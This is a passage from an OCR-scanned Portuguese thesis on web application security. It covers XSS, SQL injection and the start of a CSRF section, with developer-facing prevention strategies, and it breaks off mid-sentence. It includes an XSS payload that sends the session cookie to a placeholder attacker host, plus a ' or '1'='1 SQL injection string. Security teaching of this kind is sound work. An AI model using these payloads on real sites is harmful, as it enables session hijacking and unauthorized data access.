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RESUMO

As praticas de seguranga no desenvolvimento de sistemas web, apesar da
criticidade, tem sido ignoradas. Estudos de diversas entidades apontam as
aplicacdes web como as mais vulneraveis e as que mais sofrem ataques maliciosos.
As consequéncias de um ataque podem variar desde a visualizagcao de dados nao
autorizados, roubo de informacdes sigilosas, controle da aplicagdo e até mesmo o
controle do ambiente em que a aplicacédo é executada, dependendo do nivel de
vulnerabilidade da aplicagado que sofre o ataque. Os estudos mostram também que
a maioria dos ataques concentram-se num determinado conjunto de categorias de
vulnerabilidades, e se aplicadas estratégias de prevengdo no desenvolvimento da
aplicagao, os ataques podem ser evitados. Apesar deste cenario preocupante de
inseguranga da maioria das aplicagbes, as empresas nédo tem aplicado esforgos
suficientes para corrigir ou minimizar as vulnerabilidades nas suas aplicagdes ja
existentes e mesmo nas novas aplicagdes que estdo em desenvolvimento ndao ha
perspectiva de adequacdo do processo de desenvolvimento. A identificacdo e
categorizagao das vulnerabilidades mais exploradas mostram que a maior parte
delas sao inseridas durante o desenvolvimento das aplicagdes, na implementacao
de codigos inseguros que possibilitam os ataques maliciosos. A partir da
identificacdo das vulnerabilidades é possivel determinar um conjunto de estratégias
de prevengao que eliminam ou pelo menos minimizam o impacto dos ataques
maliciosos. No entanto, ndo basta aplicar as estratégias de prevengao isoladamente.
Para que a aplicacdo se torne segura, € necessario que a preocupagao com
seguranga seja constante, por isso se torna imprescindivel que um conjunto de boas
praticas de programacado seja estabelecido e adotado no processo de
desenvolvimento.

Palavras-chaves: Seguranca, Aplicagbes Web, vulnerabilidades, estratégias de
prevencgao.
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1 INTRODUGAO

Na medida em que a sociedade migra suas inumeras atividades e servigos
para o ambiente Web, uma quantidade cada vez maior de dados e informacgdes de
diversos niveis de valor e privacidade sao disponibilizados pela Web. Deste modo,
a preocupagao com requisitos de seguranga deve ter atengédo especial no processo
de desenvolvimento dos sistemas, ou, pessoas, empresas e governos podem ter
prejuizos morais e financeiros caso suas falhas sejam exploradas para fins

indevidos.

Requisitos de seguranga sao um conjunto de requisitos que ajudam a garantir
que o software seja construido e implantado de forma segura. O objetivo da
seguranga em aplicacbes € manter a confidencialidade, integridade e
disponibilidade dos recursos de informacao a fim de permitir que as operacdes de
negocios sejam bem sucedidas. Esse objetivo € alcangado através da
implementagdo de controles de seguranga. Implantar mecanismos de seguranca
possibilita que a organizagao alcance suas metas e objetivos de negdcios, levando

em consideracdo as ameacas relacionadas ao uso de sistemas de informagao.

Na abordagem de requisitos de seguranca de sistemas citados neste
trabalho, trés conceitos serao frequentemente usados e de fundamental importancia
sua compreensao: Ameacas, Vulnerabilidades e Ataques. Ameagas s&o agentes ou
condi¢cdes capazes de explorar vulnerabilidades em um ambiente colocando em
risco a seguranga das informagdes, resultando em perda de confidencialidade,
integridade e disponibilidade. Vulnerabilidades sao falhas de projeto, implementagao
ou configuragdo de um software ou sistema operacional que quando explorada por
um atacante, resulta na violagdo da seguranga de um sistema. Ataques sdo a
exploracdo bem ou mal sucedida de vulnerabilidades, que possam colocar em risco
a confidencialidade, integridade e disponibilidade da informagdo (OWASP TOP 10
2007, 2007).

Esses trés conceitos formam o nucleo do contexto de discussao de
seguranca de sistemas. Se mecanismos de seguranga s&o implementados
adequadamente para suprimir uma vulnerabilidade, a ameaca deixa de existir e,

consequentemente, o ataque sera inviavel. Assim, para que se possa implementar
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um mecanismo de seguranga, € necessario conhecer quais sao as vulnerabilidades
a serem prevenidas e como implementa-lo adequadamente, evitando erros que

podem inserir novas vulnerabilidades na aplicagao.

1.1 OBJETIVOS

1.1.1 Objetivo geral

Conscientizar os analistas e desenvolvedores de software sobre a
importancia dos aspectos seguranga em aplicagbes Web através de estudos e
pesquisas sobre o tema, e apresentar as principais vulnerabilidades de software,
sugerindo estratégias de prevencgao e estratégias de implementagao de codigo que
contemple os aspectos de segurancga.

1.1.2 Objetivos especificos:

Apresentar estudos e pesquisas sobre a questdo de segurangca em
aplicagbes Web, para contextualizar analistas e desenvolvedores

sobre o estado atual da seguranga nas aplicagbes Web.

Categorizar e descrever as principais vulnerabilidades de seguranga
em aplicacdes Web.

Apresentar estratégias de prevengdo contra as principais
vulnerabilidades de seguranca.

Alertar sobre os erros comuns cometidos na tentativa de implementar

cbdigo que contemple os aspectos de seguranga.

Apresentar boas praticas de programagao que podem ser seguidas

no processo de desenvolvimento de software.

1.2 JUSTIFICATIVA

Seguranga de aplicagdes Web é um tema amplo que deve estar presente
durante todo o processo de desenvolvimento de uma aplicagdo. Devido a sua

complexidade, todos os envolvidos devem possuir um conhecimento técnico
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especializado e realizar um investimento de tempo consideravel para se obter um
aprendizado adequado. Além disso, soma-se o fato de que a efetiva implementacéao
de uma estratégia de prevengao contra uma vulnerabilidade depende da tecnologia
utilizada pela organizagdo, e mesmo para uma determinada tecnologia a forma de
implementagdo pode variar dependendo dos padrbes de desenvolvimento e
frameworks adotados.

O conhecimento técnico especializado, tempo e consequentemente os
custos financeiros para se obter esse aprendizado desestimulam as organizacdes a
adotarem medidas preventivas que contemplem os aspectos de seguranga
recomendados. Por isso, um material de referéncia relativamente curto, que
condense os pontos mais criticos dos aspectos de seguranga de aplicagbes Web
necessarios, € que também sirva como um primeiro passo para adog¢ao de boas
praticas no processo de desenvolvimento, se tornaria uma importante contribuicdo

para melhoria do processo de desenvolvimento das organizagdes.

A partir dessa perspectiva, esse trabalho procura abordar os principais
aspectos de segurancga, apresentando estratégias de prevengao e boas praticas de
programacgao que possam nortear as organizagbes nos seus passos iniciais no
atendimento aos requisitos de seguranga.

1.3 METODOLOGIA

A segurancga de aplicagbes é um tema que é ou deveria ser de grande
preocupacgao para entidades governamentais e privadas, devido aos impactos
negativos que seu desconhecimento podem causar. Por isto, estudos e pesquisas
sdo realizados periodicamente por entidades especializadas sobre questbes
relacionadas a seguranga de aplicagdes. Este projeto utiliza para seus fins, os
estudos, pesquisas e orientagbes mais recentes sobre questdes de seguranga em

aplicacdes Web de entidades especializadas, dos quais se destacam:

OWASP TOP 10 2010: E um projeto realizado pela Open Web Application
Security Project (OWASP) que lista as dez principais vulnerabilidades em
aplicagdes Web. O objetivo do projeto Top 10 € aumentar a conscientizagao

sobre seguranga de aplicagdes, identificando alguns dos riscos mais criticos
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enfrentados pelas organizag¢des. O projeto Top 10 é referenciada por muitos
padrdes, livros, ferramentas, e organizagdes, incluindo MITRE Corporation,
Payment Card Industry Data Security Standard (PCl DSS), Defense
Information Systems Agency (DISA), Federal Trade Commission (FTC), e
outros. O Open Web Application Security Project (OWASP) é uma
organizacao mundial de caridade sem fins lucrativos, focada na melhoria da
seguranca do software de aplicagdo. O OWASP é uma comunidade aberta
dedicada a capacitar as organizagbes para conceber, desenvolver, adquirir,

operar e manter aplicagdes que podem ser confiaveis.

2010 CWE/SANS Top 25 Most Dangerous Software Errors: E uma lista de
erros de programacgéao criticos que podem levar a sérias vulnerabilidades de
software, publicados anualmente pela Common Weakness Enumeration
(CWE) em parceria com o SANS Institute. A lista é o resultado da
colaboracao entre o SANS Institute, Mitre Corporation, e muitos especialistas
em seguranga de software dos EUA e Europa. O SANS (SysAdmin, Audit,
Network, Security) Institute, foi criado em 1989 como uma organizacao de
pesquisa cooperativa e educagdo. Além de oferecer treinamento
especializado, o SANS disponibiliza gratuitamente uma série de documentos
sobre temas relacionados a seguranca de aplicagdes.

State of Web Application Security: E um estudo conduzido pelo Ponemon
Institute que teve como objetivo entender como as organizagdes lidam com
as questdes de seguranca de suas aplicagdes. O Ponemon Institute realiza
pesquisas independentes sobre privacidade, protecdo de dados e politica de

seguranga da informacéao.

Web Application Security Trends Report: E um relatério realizado
semestralmente pela Cenzic Inc. que tem como objetivo identificar as
principais vulnerabilidades em aplicagdes Web, categorizar e quantificar os

ataques.

Apds a explanagdo da justificativa, objetivos, metodologia, introdugcéo de
conceitos e contexto do trabalho apresentados até aqui, no capitulo 2 serao

apresentados estudos que identificam e classificam as vulnerabilidades mais
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exploradas em aplicacbes Web. Também sera apresentado uma pesquisa que
demonstra qual a percepcdao dos desenvolvedores em relacdo a como as
organizagbes da qual fazem parte tratam as questbes de segurangca de suas

aplicacdes.

No capitulo 3 sera apresentado para cada vulnerabilidade suas
caracteristicas, exemplos de ataque e, principalmente, as estratégias de prevencgao,
as quais os desenvolvedores poderao utilizar como referéncia na implementacao de

cédigo que contemple os aspectos de segurancga relacionados a vulnerabilidade.

No capitulo 4 sera apresentado um conjunto de boas praticas de
programacao que visam mitigar durante o desenvolvimento o maior numero

possivel das vulnerabilidades mais exploradas em aplicagbes Web.
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2 O ESTADO DA SEGURANGA DAS APLICAGOES

Neste capitulo serdo apresentados estudos que identificam e classificam as
vulnerabilidades mais exploradas em aplicagdes Web. Também sera apresentado
uma pesquisa que demonstra qual a percepcao dos desenvolvedores em relagao a
como as organizagdes da qual fazem parte tratam as questdes de seguranga de

suas aplicacgobes.

Os ataques contra aplicacbes Web podem ter uma grande variedade de
formas, por isso € importante compreender que a visdo de seguranga do aplicativo
nao pode basear-se apenas em um tipo de ataque, com enfoque excessivamente
estreito. A seguranga de uma aplicagdo Web depende de uma série de fatores,
como configuragdo adequada, continuidade na légica da aplicacdo e fluxo de
trabalho, bem como fatores como a administracdo competente e observancia das
politicas de seguranga por parte de corporagdes que gerenciam os dados do

aplicativo.

Segundo pesquisa realizada pela Cenzic(WEB APPLICATION SECURITY TRENDS
REPORT Q3-Q4 2009) no segundo semestre de 2009, 82% das vulnerabilidades
registradas estavam em aplicagdes web e tecnologias relacionadas, o numero mais
elevado registrado pelos estudos da Cenzic até entdo. O Grafico 1 demonstra a
evolucao da paticipacédo das aplicagdes Web no contexto total das vulnerabilidades

nas aplicagdes, em cada semestre dos anos de 2008 e 20009.
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GRAFICO 1 - PARTICIPAGAO DAS VULNERABILIDADES DAS APLICACOES WEB
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FONTE: Web Application Security Trends Report Q3-Q4 2009 (2009, p. 8).

GRAFICO 2 - DISTRIBUIGAO DAS VULNERABILIDADES POR CATEGORIA
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FONTE: Web Application Security Trends Report Q3-Q4 2009 (2009, p. 10) .

O Grafico 2 demonstra a participagao das principais ameacas relacionadas as
vulnerabilidades em aplicagdes Web agrupadas por categoria, segundo a
classificagcdo da Cenzic. O Grafico 3 demonstra a porcenagem de aplicagdes
vulneraveis a cada tipo de vulnerabilidade, a saber: Cross-Site Request Forgery,
Unauthorized Directory Access, Insecure Resource Location, SQL Injection, Remote

Code Execution, Authorization and Authentication, Session Management, Cross-Site
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Scripting, Information Leaks and Exposures. Maiores detalhes sobre cada tipo de
vulnerabilidade podem ser obtidos no documento Web Application Security Trends
Report Q3-Q4 2009 (vide referéncias para link de acesso). Podemos concluir pelo
grafico 3 que a maioria das aplicagdoes ainda apresentam vulnerabilidades basicas
que poderiam ser evitadas através da aplicagado de boas praticas de programacéao e

utilizacao de frameworks dedicados.

A rapida analise do Grafico 2 e Grafico 3 ja demonstra que praticamente
todas as principais vulnerabilidades das aplicacbes Web estdo intimamente
relacionadas com a forma que foi implementado o cdodigo da aplicagao,
desmistificando o conceito de que seguranga de aplicagdes resume-se a
infraestrutura de hardware e software independentes, ou seja, ndo basta
implementar uma infraestrutura de hardware sofisticada e utilizar os softwares de
seguranga mais confiaveis e atuais se a aplicagao apresentar vulnerabilidades que
podem permitir ao atacante controle sobre o ambiente da aplicacdo, podendo

resultar em graves violagdes de informagdes e danos ao sistema.

GRAFICO 3 — PORCENTAGEM DE APLICAGCOES VULNERAVEIS POR TIPO
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FONTE: Web Application Security Trends Report Q3-Q4 2009 (2009, p. 11) .
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O estudo da Cenzic conclui que 93% das aplicagcdes Web analisadas tinham
vulnerabilidades sérias que poderiam conduzir a exposicdo de informacdes
confidenciais do usuario. Vale lembrar ainda, que 82% das vulnerabilidades
registradas estavam em aplicagbes Web. Esse estudo confirma o estado alarmante
em que se encontra a seguranga em aplicacbes Web. Além disso, fornece o

conjunto das principais vulnerabilidades.

O Ponemon Institute conduziu um estudo (STATE OF WEB APPLICATION
SECURITY, 2010) com profissionais de Tl e seguranga de Tl para entender melhor
0 risco dos sites inseguros e como suas organizagdes estdo lidando com as
ameacas internas e externas. O estudo revela que apesar de terem aplicacdes de
missao critica acessiveis através dos seus Websites, muitas organizagdes falham
em fornecer recursos suficientes para garantir e proteger seus aplicativos Web. Isto
€ particularmente preocupante, dado que a camada de aplicativo da Web é o alvo

numero um de ataque maliciosos.

Enquanto os participantes do estudo consideraram como maior ameaca
para suas aplicagdes o roubo de dados, eles ndo acreditam que suas organizagdes
consideram a seguranga da Web como uma iniciativa estratégica. Eles também
acreditam que suas organizagdes nao tém atribuido recursos suficientes para

proteger suas aplicagdes criticas.

Os riscos aos Websites estao sendo ignorados apesar da evidéncia de que
ataques maliciosos na maioria das vezes comprometem bases de dados ou
aplicacdes. Conforme revelado no estudo, as aplicagdes Web estdo em risco pelas

seguintes razoes:

70% dos entrevistados ndo acreditam que suas organizagdes alocam

recursos suficientes para assegurar e proteger suas aplicagdes criticas.
« 34% das vulnerabilidades de urgéncia ndo sao corrigidas.

«  38% acreditam que seriam necessarios mais de 20 horas de desenvolvimento

para corrigir uma vulnerabilidade.

« 55% dos inquiridos consideram que os desenvolvedores estdo ocupados
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demais para responder a questdes de segurancga.

Neste capitulo foi apresentado estudos que identificaram e categorizaram as
vulnerabilidades mais exploradas em aplicagdes Web, além de expor como as
organizagdes estao lindando com esses riscos. Os estudos apresentados dao a
nogao do estado de inseguranca das aplicagdes Web, além de demonstrar que esta
situacao decorre principalmente pelo fato de as empresas abordarem os requisitos
de seguranga insuficientemente, seja por motivos técnicos ou financeiros. Além
disso, os estudos também fornecem importantes subsidios para determinar uma
iniciativa para reverter essa situagao, expondo duas questdes fundamentais a serem

tratadas a partir daqui:

« Quais sao as principais vulnerabilidades e respectivas estratégias de

prevencgao;

« Quais as boas praticas de programacdo que podem ser aplicadas no
desenvolvimento de aplicagdes Web visando a prevencdo de ataques

maliciosos.
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3 AS PRINCIPAIS VULNERABILIDADES DE SEGURANCA

Apods vermos estudos que identificaram e classificaram as vulnerabilidades
mais exploradas em aplicagdes Web, sera apresentado para cada vulnerabilidade
suas caracteristicas, exemplos de ataque e, principalmente, as estratégias de
prevencdo, as quais os desenvolvedores poderdo utilizar como referéncia na
implementagao de codigo que contemple os aspectos de seguranga relacionados a
vulnerabilidade.

Obter o nivel necessario de conhecimento e experiéncia € um objetivo
fundamental para as organizagdées na implementagao de politicas de seguranga no
desenvolvimento de aplicagdes Web. O desafio da seguranga das aplicagdes esta
entre os temas mais dindamicos, complexos e sofisticados que qualquer organizagao
de TI tera de enfrentar. Foi a falta geral de conhecimento dentro desta area que
criou o atual estado extremamente propicio a um numero infinito de possiveis alvos

para ataques maliciosos.

A seguir, serao apresentadas as principais vulnerabilidades em aplicagcbes
Web e suas respectivas estratégias de prevencao. O conjunto de vulnerabilidades é
baseado pelo (OWASP TOP 2010, 2010) e o (2010 CWE/SANS TOP 25 MOST
DANGEROUS SOFTWARE ERRORS, 2010), dois projetos que tém como objetivo
classificar e descrever as principais vulnerabilidades em aplicagbes. As

vulnerabilidades apresentadas serao:
1. Cross Site Scripting (XSS);
2. SQL Injection;
3. Cross Site Request Forgery (CSRF);
4. Falha de Autenticacdo e Gerenciamento de Sessao;
5. Referéncia Insegura Direta a Objeto;
6. Configuracédo Inadequada do Ambiente de Execucao;

7. Vazamento de Informacgdes e Tratamento Inapropriado de Erros;
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8. Upload de Arquivos de Tipos Perigosos;

9. Armazenamento Criptografico Inseguro;

10. Falha ao Restringir Acesso a URL,;

11. Protecéo Insuficiente da Camada de Transporte;
12.Redirecionamento de URL para Pagina nao Confiavel.

Essas vulnerabilidades foram escolhidas com o objetivo de cobrir o escopo
das vulnerabilidades mais exploradas nas aplicagdes Web, conforme os estudos
mostrados no Capitulo 2, e que estdo relacionadas diretamente a elementos que
dependem da atuacdo do desenvolvedor, como implementacdo de cdédigo e
configuragdo de ambiente de execugdo. A nomenclatura das vulnerabilidades
pretende ser 0 mais proximo possivel das originais em lingua estrangeira. Além
disso, apesar de divergéncias quanto a nomenclaturas e objetivos especificos, os
dois projetos utilizados como fonte primaria possuem conteudos complementares.

3.1 CROSS SITE SCRIPTING (XSS)

3.1.1 Caracteristicas

Cross-site scripting (XSS) € uma vulnerabilidade que explora a falta de
verificacdo de dados de entrada e saida da aplicagdo Web. XSS permite aos
atacantes executarem scripts no navegador da vitima, permitindo roubar sessdes de
usuario, pichar sites Web, ou redirecionar o usuario para sites maliciosos. O ataque
é feito através da injegdo de fags HTML e/ou cédigo Javascript pela entrada de

dados da propria aplicagao.

3.1.2 Exemplo de ataque

A aplicagdo utiliza dados n&o confiaveis na construgdo do trecho

apresentado no Exemplo de Cddigo 1, sem escape ou validagdo do HTML:



22

Exemplo de Cédigo 1

(String) page += "<input name='creditcard' type='TEXT' value='" +

request.getParameter ("CC") + "'>";

O atacante modifica o parametro CC em seu browser conforme o Exemplo de
Cadigo 2:

Exemplo de Cédigo 2

"><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?

foo="' + document.cookie</script>."

Isso faz com que o ID da sessdo da vitima seja enviado para o site do
invasor, permitindo que o invasor sequestre a sessao atual do usuario. Note que o
atacante também pode usar XSS para derrubar qualquer defesa CSRF - Cross-Site

Request Forgery, que o aplicativo utilize.

3.1.3 Estratégia de prevencgao

Use um framework que nao permita que essa vulnerabilidade ocorra ou
fornega construgdes que tornem essa vulnerabilidade mais facil de evitar. Exemplos
de bibliotecas e frameworks para este objetivo incluem a biblioteca 'Microsoft Anti-
XSS, o médulo de codificagdo 2OWASP ESAPI e *Apache Wicket.

E importante entender o contexto no qual os dados serdo utilizados e a
codificacdo de caracteres esperada. Isto é especialmente importante na transmissao
de dados entre componentes diferentes, ou quando a geragdo de saidas pode
conter multiplas codificagbes ao mesmo tempo, como paginas web ou de
mensagens de correio. Estude todos os protocolos de comunicagado esperados e
representagcdes de dados para determinar as estratégias de codificagdo necessaria.
Para quaisquer dados que gerem saida para outra pagina Web, especialmente os
dados que foram recebidos de entradas externas, use a codificagao apropriada em

todos os caracteres nao alfanumeéricos.

1. Disponivel em: http://msdn.microsoft.com/en-us/library/aa973813.aspx.
2. Disponivel em: https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security API.
3. Disponivel em: http://wicket.apache.org.
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Compreenda todas as possiveis areas onde as entradas nao confiaveis
podem ser injetadas no seu software como: parametros ou argumentos, cookies,
qualquer leitura a partir da rede, variaveis de ambiente, pesquisas de DNS reverso,
resultados de consulta, cabecalhos de solicitacdo, componentes de URL, e-mail,
arquivos, ficheiros, bases de dados e os sistemas externos que fornecem dados
para o aplicativo. Lembre-se que as entradas podem ser obtidas indiretamente por

meio de chamadas de API.

Para as verificacbes de seguranca que sao executadas no lado do cliente,
garanta que esses controles s&o duplicados no lado do servidor. Os atacantes
podem ignorar as verificagbes do lado do cliente, modificando os valores apés as
verificagbes serem realizadas, ou alterando o cliente para remover os controles do
lado do cliente por completo. Em seguida, estes valores modificados seriam
enviados para o servidor. Se possivel, utilize mecanismos estruturados que realizem
automaticamente a separagao entre dados e codigo. Estes mecanismos podem ser
capazes de fornecer a codificacdo necessaria e validacdo automatica, em vez de
confiar no desenvolvedor para fornecer esse recurso em todos os pontos onde a

saida é gerada.

Para cada pagina da Web gerada, especifigue uma codificacdo de
caracteres, como [IS0O-8859-1 ou UTF-8. Quando uma codificagdo nao for
especificada, o navegador web pode escolher uma codificacdo diferente,
adivinhando qual a codificagdo que realmente esta sendo usado pela pagina web.
Isso pode fazer com que o navegador Web trate certas sequéncias especiais,

gerando brechas para ataques XSS.

Para ajudar a atenuar ataques de XSS contra o cookie de sessdo do
usuario, defina o cookie de sessdo como HttpOnly. Em navegadores que suportam
o recurso HttpOnly (como as versdes mais recentes do Internet Explorer e Firefox),
esse atributo pode impedir que o cookie de sessdo do usuario seja acessivel a
scripts mal intencionados do lado do cliente que usem o objeto document.cookie.
Esta ndo é uma solugdo completa, pois o HttpOnly ndo é suportado por todos os
navegadores. Além disso, o XMLHTTPRequest e outras tecnologias fornecem

acesso de leitura para os cabecgalhos HTTP, incluindo o cabecalho Set-Cookie em
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que a bandeira HttpOnly esta definida.

Assuma que todas as entradas sdo maliciosas. Use uma “lista branca” de
entradas aceitaveis que estejam estritamente de acordo com as especificagdes.
Rejeite qualquer entrada que nao esteja estritamente de acordo com as
especificagdes, ou transforme-a em algo que seja. Nao confie exclusivamente na
procura de entradas mal intencionadas ou mal formatadas, ou seja, ndo dependa de
uma "lista negra". No entanto, a lista negra pode ser util para detectar possiveis
ataques ou determinar quais as entradas que sao tdo mal formatadas que devem

ser rejeitadas.

Na validagao da entrada, considere todas as propriedades potencialmente
relevantes, incluindo o comprimento, tipo de entrada, toda a gama de valores
aceitaveis, entradas extras ou em falta, sintaxe, consisténcia em areas afins, e
conformidade com regras de negocio. Como exemplo da légica das regras de
negocio, "barco" pode ser sintaticamente valido porque contém apenas caracteres
alfanuméricos, mas nao é valida se vocé esta esperando cores tais como "vermelho"

ou "azul”.

Quando a construgcdo das paginas web for dindmica, use listas brancas
rigorosas que limitam o conjunto de caracteres com base no valor esperado do
parametro na requisicdo. Todas as entradas devem ser validadas e limpas, e néo
apenas os parametros que o usuario deve especificar, mas todos os dados
constantes da requisicao, inclusive campos ocultos, cookies, cabecalhos, a propria
URL, e assim por diante. Um erro comum que leva as vulnerabilidades XSS é validar

somente os campos que devem ser reexibidos pelo site.

Note que a codificagdo de saida apropriada, escapando, e citando é a
solucdo mais eficaz para prevenir XSS, apesar da validacdo de entrada poder
fornecer alguma defesa de maior profundidade. Isso porque ela limita efetivamente

0 que vai aparecer na saida.

A validacdo de entrada nem sempre evita XSS, especialmente se vocé é
obrigado a suportar campos de texto de forma livre que podem conter caracteres

arbitrarios. Por exemplo, em um aplicativo de bate-papo, o emoticon do coragao ("<3



25

") provavelmente passara pela etapa de validagdo, uma vez que € comumente
usado. No entanto, ndo pode ser diretamente inserido na pagina web, pois ele
contém o caractere "<", que teria de ser precedido ou manipulado de outra forma.
Neste caso, eliminado o "<" pode reduzir o risco de XSS, mas seria produzir um
comportamento incorreto porque 0 emoticon nao seria gravado. Isso pode parecer
um pequeno inconveniente, mas seria mais importante em um férum de matematica

que precisa representar as desigualdades.

Mesmo se vocé cometer um erro na sua validagdo, como esquecer um dos
100 campos de entrada, a codificagdo adequada ainda é susceptivel de protegé-lo
de ataques baseados em inje¢cao. Quando nao é feita isoladamente, a validagéo de
entrada € uma técnica util, ja que pode reduzir significativamente a superficie de
ataque, permitindo a detecgao de alguns ataques e oferecendo outros beneficios de

seguranca que a codificagdo adequada nao contempla.

Certifigue-se de executar a validacdo da entrada em interfaces bem
definidas dentro da aplicacéo. Isso ajudara a proteger a requisicdo mesmo se um
componente é reutilizado ou movido para outro local. Quando o conjunto de objetos
aceitaveis, tais como nomes de arquivos ou URLs, é limitado ou conhecido, crie um
mapeamento de conjunto de valores de entrada fixos para os nomes reais ou URLSs,

e rejeite todas as outras entradas.

3.2 SQL INJECTION

3.2.1 Caracteristicas

O SQL Injection é um tipo de ameaga de seguranca que se aproveita de
falhas em sistemas que interagem com bases de dados via SQL. A injecao de SQL
ocorre quando o atacante consegue inserir uma série de instru¢des SQL dentro de
uma consulta através da manipulagdo das entradas de dados de uma aplicagdo. A
injecdo permite o atacante manipular a base de dados, podendo incluir, excluir e

alterar dados maliciosamente.
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3.2.2 Exemplo de ataque

O aplicativo utiliza dados nao confiaveis na construgdo da consulta SQL

conforme o Exemplo de Cédigo 3:

Exemplo de Cédigo 3

String query = "SELECT * FROM accounts WHERE custID='" +

request.getParameter ("id") + "'",

O invasor modifica o parametro 'id' no seu navegador para enviar: 'or '1' =
'1, conforme o Exemplo de Codigo 4. Isso muda o sentido da consulta para retornar
todos os registros de contas do banco de dados, em vez de apenas os registros de

um determinado cliente.

Exemplo de Cdédigo 4

http://example.com/app/accountView?id=" or '1'='1l

No pior dos casos, o invasor usa essa vulnerabilidade para invocar
procedimentos especiais que permitem um controle completo do banco de dados e

possivelmente até mesmo o servidor que hospeda o banco de dados.

3.2.3 Estratégia de prevencgao

Use uma biblioteca ou framework que nao permita que essa vulnerabilidade
possa ocorrer ou forneca construgdes que permitam que essa vulnerabilidade seja
mais facil de evitar. Por exemplo, considere o uso de camadas de persisténcia como
Hibernate ou Enterprise Java Beans, que pode fornecer uma protegao significativa
contra injecdo de SQL se usados corretamente. Se possivel, utilize mecanismos
estruturados que realizem automaticamente a separagdo entre dados e cadigo.
Estes mecanismos podem ser capazes de fornecer a codificacdo adquada e
validagdo automatica, em vez de confiar no desenvolvedor para fornecer esse
recurso em todos os pontos onde a saida é gerada. Processe consultas SQL
usando prepared statements, consultas parametrizadas ou stored procedures.

Esses recursos devem aceitar parametros ou variaveis e forte apoio a tipagem. Nao
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construa consultas dinamicamente ou execute sequéncias de consulta dentro
dessas caracteristicas com funcionalidade "exec" ou similares, pois pode re-

introduzir a possibilidade de injecao de SQL.

Execute o seu cddigo usando os menores privilégios necessarios para
realizar as tarefas necessarias. Se possivel, crie contas isoladas com privilégios
limitados que s&o utilizados apenas para uma unica tarefa. Dessa forma, um ataque
bem sucedido ndo vai imediatamente dar ao atacante o acesso para o resto do
software ou seu ambiente. Por exemplo, aplicativo de banco de dados raramente
precisara executar com privilégio de administrador do banco de dados,
especialmente em operagdes rotineiras. Especificamente, siga o principio de
privilégio minimo ao criar contas de usuario para um banco de dados SQL. Os
usuarios do banco de dados sé devem ter os privilégios minimos necessarios para
usar a sua conta. Se os requisitos do sistema indicam que um usuario pode ler e
modificar apenas seus proprios dados, entdo o limite dos seus privilégios ndo devem
permitir que eles possam ler/escrever dados de outros usuarios. Use as permissdes
mais rigorosas possiveis em todos os objetos do banco de dados, tais como

executar somente stored procedures.

Se vocé precisa usar strings de consulta geradas dinamicamente ou
comandos, apesar do risco, identifique devidamente os argumentos e escape os
caracteres especiais dentro desses argumentos. A abordagem mais conservadora é
filtrar todos os personagens que ndo passam em uma lista branca extremamente
rigorosa, como tudo que nao for alfanumérico ou espago em branco. Se alguns
caracteres especiais ainda sao necessarios, como espagos em branco, coloque
cada argumento entre aspas, apds a etapa de filtragem. Em vez de construir sua
propria implementagao, tais caracteristicas podem estar disponiveis no banco de
dados ou linguagem de programagdo. Por exemplo, o pacote Oracle
DBMS_ASSERT pode verificar ou aplicar parametros que tém certas propriedades
que os tornam menos vulneraveis a injegao de SQL. Para o MySQL, a fungédo API

mysql_real_escape_string () esta disponivel em C e PHP.

Assuma que todas as entradas sdo maliciosas. Use o conceito de “lista

branca” e “lista negra” descritas na estratégia de prevencao do XSS.
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Na construgcdo de sequéncias de consulta SQL, use listas brancas severas
que limitem o conjunto de caracteres com base no valor esperado do parametro na
requisi¢ao. Isso, indiretamente, limita o alcance de um ataque, mas esta técnica é
menos importante do que a codificacdo de saida apropriado e escape. Note que a
codificacdo de saida apropriada e escape € solucdo mais eficaz para prevenir a
injecdo de SQL, apesar de que a validagéo de entrada pode fornecer alguma defesa
em maior profundidade. Isso porque ele limita efetivamente o que vai aparecer na
saida. A validacédo de entrada nem sempre evita a injegdo SQL, especialmente se
vocé € obrigado a apoiar os campos de texto de forma livre que pode conter
caracteres arbitrarios. Por exemplo, o nome "O'Reilly" provavelmente passaria na
etapa de validacdo, uma vez que é um sobrenome comum no idioma Inglés. No
entanto, ndo pode ser inserido diretamente no banco de dados porque ele contém o

caractere apostrofo, que teria de ser precedido ou manipulado de outra forma.
Neste caso, eliminar o apodstrofo pode reduzir o risco de injecdo de SQL, mas

produziria um comportamento incorreto porque o nome seria registrado errado.

Quando possivel, pode ser mais seguro impedir meta-caracteres
inteiramente, ao invés de apenas realizar o escape. Isto ira fornecer uma defesa em
profundidade. Apds os dados serem inseridos no banco de dados, mais tarde outros
processos podem deixar escapar os meta-caracteres antes de usar, e vocé pode

nao ter controle sobre esses processos.

Garanta que as mensagens de erro contenham apenas detalhes minimos
que sao uteis para o publico-alvo, e nada mais. As mensagens precisam encontrar o
equilibrio entre conter informacdo em excesso e ndo ser suficientemente
esclarecedora. Elas ndo devem, necessariamente, revelar os métodos que foram
usados para determinar o erro. Informacdes detalhadas podem ser usadas para
refinar o ataque original e aumentar as chances de sucesso. Se os erros devem ser
controladas em alguns detalhes, capture-os em mensagens de /og, mas considere o
que poderia ocorrer se as mensagens de /log puderem ser vistas pelos atacantes.
Evite gravar no log informagdes altamente confidenciais, como senhas de qualquer
forma. Evite mensagens inconsistentes que poderiam acidentalmente informar um
atacante sobre o estado interno, como se um nome de usuario é valido ou ndo. No

contexto do SQL Injection, mensagens de erro que revelam a estrutura de uma
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consulta SQL podem ajudar os atacantes a construirem uma consulta de ataque

bem sucedido.

3.3 CROSS-SITE REQUEST FORGERY (CSRF)

3.3.1 Caracteristicas

Cross-site Request Forgery € uma técnica em que o atacante engana o
usuario criando falsas requisicbes HTTP através de imagens, XSS, ou inumeras
outras técnicas para que ele execute uma requisicdo que o direcione para o site do
atacante. Gragas ao script e a forma como a web funciona de um modo geral, o
usuario pode até nao estar ciente de que a requisi¢cao foi enviada. O atacante pode
usar o CSRF para obter informacgdes confidenciais do usuario e utiliza-las para fins
diversos, como fazer requisicdbes em nome do usuario. Uma vez que a requisicao
chegue ao servidor , ele ndo conseguira diferenciar a origem entre o usuario € o
atacante, dando ao atacante todos os privilégios que o usuario possui na aplicagéo.
Isto é especialmente util quando o usuario tem privilégios de administrador, o que
resulta em um comprometimento total da funcionalidade do seu aplicativo. Quando
combinado com XSS, o resultado pode ser extenso e devastador. Se vocé ja ouviu
falar sobre worms XSS que se propagam através de um grande numero de sites em

questdo de minutos, ha geralmente CSRF alimentando-os.

3.3.2 Exemplo de ataque

O aplicativo permite que o usuario envie uma requisicdo que expde suas

